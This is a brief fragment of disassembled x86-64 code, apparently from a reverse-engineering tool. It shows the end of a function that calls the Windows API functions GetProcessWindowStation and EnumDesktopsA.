call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsA]
xor eax, eax
add rsp, 0x2f0
pop rbx
pop rsi
pop rdi
ret